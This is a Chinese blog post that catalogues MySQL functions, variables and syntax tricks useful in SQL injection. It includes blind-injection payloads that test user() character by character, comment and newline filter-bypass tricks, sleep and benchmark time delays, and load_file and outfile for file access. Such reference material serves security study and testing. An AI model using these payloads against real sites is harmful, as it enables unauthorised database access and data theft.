MYSQL注入函数

  • Post author:
  • Post category:mysql




系统信息函数

函数 说明
USER() 获取当前操作句柄的用户名,同

SESSION_USER()



CURRENT_USER()

,有时也用

SYSTEM_USER()

DATABASE() 获取当前选择的数据库名,同

SCHEMA()

VERSION() 获取当前版本信息。



常见全局变量

变量 说明
@@VERSION 返回版本信息
@@HOSTNAME 返回安装的计算机名称
@@GLOBAL.VERSION 同@@VERSION
@@BASEDIR 返回MYSQL绝对路径



常用的内置变量

变量 说明
database() 当前所在的数据库
user() 当前数据库用户和权限
current_user() 当前用户名
session_user() 连接数据库的用户名
system_user() 系统用户名
@@datadir 数据文件的存放目录
@@basedir 数据库的安装路径
@@version_compile_os 宿主系统平台是什么
@@hostname 当前机器的机器名,可不是域名哦
null 特殊工具,因为它可以匹配任意数据类型,在遍历字段个数时可能会用到
show variables like ‘log_%’; 查看日志文件存放位置

PS:查看全部全局变量SHOW GLOBAL VARIABLES;。



进制转换函数

函数 说明
ORD(str) 返回字符串第一个字符的ASCII值。
OCT(N) 以字符串形式返回 N  的八进制数,N  是一个BIGINT 型数值,作用相当于CONV(N,10,8) 。
HEX(N_S) 参数为字符串时,返回 N_or_S  的16进制字符串形式,为数字时,返回其16进制数形式。
UNHEX(str) HEX(str)  的逆向函数。将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符。
BIN(N) 返回十进制数值 N  的二进制数值的字符串表现形式。
ASCII(str) 同ORD(string) 。
CONV(N,from_base,to_base) 将数值型参数 N  由初始进制 from_base  转换为目标进制 to_base 的形式并返回。
CHAR(N,… [USING charset_name]) 将每一个参数 N  都解释为整数,返回由这些整数在 ASCII 码中所对应字符所组成的字符串。

char是个数据类型,char(),是把一个别的类型数据强转成char类型,比如,char(97)和char(#97)都将得到a

chr(),参数是byte类型,负责把ascii码值转换成char,比如:chr(97)返回一个char类型’a’

ascii(单个字符)

ord(单个字符) 返回指定的ASCII码字符所对应的数值,下面的ord()用法基本也是一致的

replace(字段名,要替换的字符串,准备替换为的字符) 字符串替换,在读取文件时,我们可能需要用到replace()替换一些特殊字符



取整函数


floor() rand() 取整函数和四舍五入函数

hex() unhex() 进制转换函数,16进制转换,导出udf的时候可能会用到

conv(num,from_base,to_base) 经常会用来绕过某些编码过滤



字符截取函数

函数 说明

SUBSTR(str,N_start,N_length)
对指定字符串进行截取,为SUBSTRING的简单版。

SUBSTRING()
多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len) 。

RIGHT(str,len)
对指定字符串从最右边 截取指定长度。

LEFT(str,len)
对指定字符串从最左边 截取指定长度。
RPAD(str,len,padstr) 在 str  右方补齐 len  位的字符串 padstr ,返回新字符串。如果 str  长度大于 len ,则返回值的长度将缩减到 len 所指定的长度。
LPAD(str,len,padstr) 与RPAD相似,在str 左边补齐。

MID(str,pos,len)
同于 SUBSTRING(str,pos,len) 。
INSERT(str,pos,len,newstr) 在原始字符串 str  中,将自左数第 pos  位开始,长度为 len  个字符的字符串替换为新字符串 newstr ,然后返回经过替换后的字符串。INSERT(str,len,1,0×0) 可当做截取函数。
CONCAT(str1,str2…) 函数用于将多个字符串合并为一个字符串

[[group_concat]]

(…)
返回一个字符串结果,该结果由分组中的值连接组合而成。
MAKE_SET(bits,str1,str2,…) 根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,‘1’,‘710’))。



字符串截取函数

substring(要截取的字符串,从什么地方开始截取,截取多长) 截取指定字符串


substr

(

要截取的字符串,从什么地方开始截取,截取多长

) 具体用法基本同substring()

mid(要截取的字符串,从什么地方开始截取,截取多长) 专有的字符串截取

left(str,3) 左截取

right(str,3) 右截取



字符串截取函数使用:

id=4 and substr((select user()),1,1)=0x6D —

id=4 and substring((select user()),1,1)=0x6D —

id=4 and Left((select user()),1)=0x6D —

id=4 and mid((select user()),1,1)=0x6D —

id=4 and ifnull((substr((select user()),1,1)=0x6D),0) —

id=4 and strcmp((substr((select user()),1,1)=0x6D),1) —

id=4 and ascii(substr((select user()),1,1))=109 —

id=4 and ord(substr((select user()),1,1))=109 —

id=3%2Bascii(substr((select user()),1,1))-108 —

id=4 and 1=(user() regexp 0x5E726F6F5B612D7A5D) — 0x5E726F6F5B612D7A5D=^roo[a-z]

id=4 and 1=(select 1 from information_schema.tables where table_schema=database() and table_name regexp 0x5E61646D695B612D7A5D limit 0,1)–

id=4 and 1=(select user() like 0x726F25)–

?id=1’ and if(left(database(),1)=‘s’,1,0)–+ 不需要select



字符串比较

strcmp( expr1,expr2 ) // 如果两个字符串是一样则返回0,如果第一个小于第二个则返回 -1

find_in_set( str,strlist ) //如果相同则返回 1不同则返回0



字符串连接函数

concat(str1,str2,str3…) 字符串连接函数 注

意,中间只要字符串有一个为空,最后结果也为空

concat_ws(‘指定分隔符’,str1,str2,str3…) 跟concat()稍微不同,

它会自动忽略中间的空值,只有分隔符为空,整体才返回空

group_concat(field_name1, field_name2, field_name3…)

其实就是把某个字段下的所有数据全部连接成一个字符串,注意有长度限制,默认1024



字符串填充函数

rpad()

lpad()



其他常用函数/语句

函数/语句 说明
LENGTH(str) 返回字符串的长度。
PI() 返回π的具体数值。
REGEXP “statement” 正则匹配数据,返回值为布尔值。

LIKE “statement”
匹配数据,%代表任意内容。返回值为布尔值。
RLIKE “statement” 与regexp相同。
LOCATE(substr,str,[pos]) 返回子字符串第一次出现的位置。
POSITION(substr IN str) 等同于 LOCATE() 。
LOWER(str) 将字符串的大写字母全部转成小写。同:LCASE(str) 。
UPPER(str) 将字符串的小写字母全部转成大写。同:UCASE(str) 。
ELT(N,str1,str2,str3,…) 与MAKE_SET(bit,str1,str2…) 类似,根据N 返回参数值。
NULLIF(expr1,expr2) 若expr1与expr2相同,则返回expr1,否则返回NULL。
CHARSET(str) 返回字符串使用的字符集。
DECODE(crypt_str ,pass_str) 使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数:ENCODE(str,pass_str)。

locate() 返回一个字符串在另一个字符串中第一次出现的位置,可尝试配合上面的字符串截取函数在读取文件时用

length(field_name) 统计某个字段下的某条数据的字符总长度


count(*) 统计某个表下总共有多少条记录,表中存在的数据

lower() upper() 大小写转换



一些绕过注入的罕见函数

instr( str1,substr ) // 从子字符串中返回子串第一次出现的位置

lpad( str,len ,padstr) rpad( str,len, padstr) // 在str的左( 右)两边填充给定的padstr到指定的长度len ,返回填充的结果



常用函数

  • 延时函数

    • sleep()
    • benchmark( 1000000,sha (1))
  • 文件函数

    • load_file //读取文件
    • outfile //写入文件



小技巧

  • 函数名和括号直接可以插入特殊字符 ex

    • concat/**/()

    • information_schema/**/./**/TABLES

    • information_schema%0a.%0aTABLES(%0a是换行符)

  • {identifier expr}

    • select {x 1} from {x test} limit 1;

这些变量不需要用到select来查询,所以再不能使用select,还是可以查询这些变量。

version() 当前数据库详细版本号,注意,针对mysql 4和5的注入方式是完全不一样的



LIMIT函数

LIMIT 5,10; // 检索记录行 6-15

LIMIT 95,-1; // 检索记录行 96-last.   96-结束

LIMIT 5; //检索前 5 个记录行   //换句话说,LIMIT n 等价于 LIMIT 0,n。



name_const(built_name,value)函数

name_const(built_name,value) 只在mysql内部使用



case when end

case when end 相当于sql中的’switch’语句

SELECT CASE

WHEN 1 > 0

THEN ‘1 > 0’

WHEN 2 > 0

THEN ‘2 > 0’

ELSE ‘3 > 0’

END

->1 > 0



()x,把括号内语句别名为 x

![[Pasted image 20201207191402.png]]



join可建立两个表之间的内连接。



select查询的时候,可以利用join来使列数匹配

mysql> select * from test where id=1 union select * from (select 1)a join (select 2)b join (select 3)c;



mid,substr字符串截取无逗号

读取通过from for分页读取,#说明前面一个数字是从第几个开始读取,最后的一个数字是读取的长度。


https://blog.csdn.net/weixin_30719711/article/details/98855643

select * from test where id=1 and mid(‘mysql’ from 1 for 1) = ‘m’;



limit offset的用法和区别:

例1,假设数据库表student存在13条数据。

代码示例:

语句1:select * from student limit 9,4

语句2:slect * from student limit 4 offset 9

// 语句1和2均返回表student的第10、11、12、13行

//语句2中的4表示返回4行,9表示从表的第十行开始

例2,通过limit和offset 或只通过limit可以实现分页功能。

假设 numberperpage 表示每页要显示的条数,pagenumber表示页码,那么 返回第pagenumber页,每页条数为numberperpage的sql语句:

代码示例:

语句3:select * from studnet limit (pagenumber-1)*numberperpage,numberperpage

语句4:select * from student limit numberperpage offset (pagenumber-1)*numberperpage



版权声明:本文为qq_38265674原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。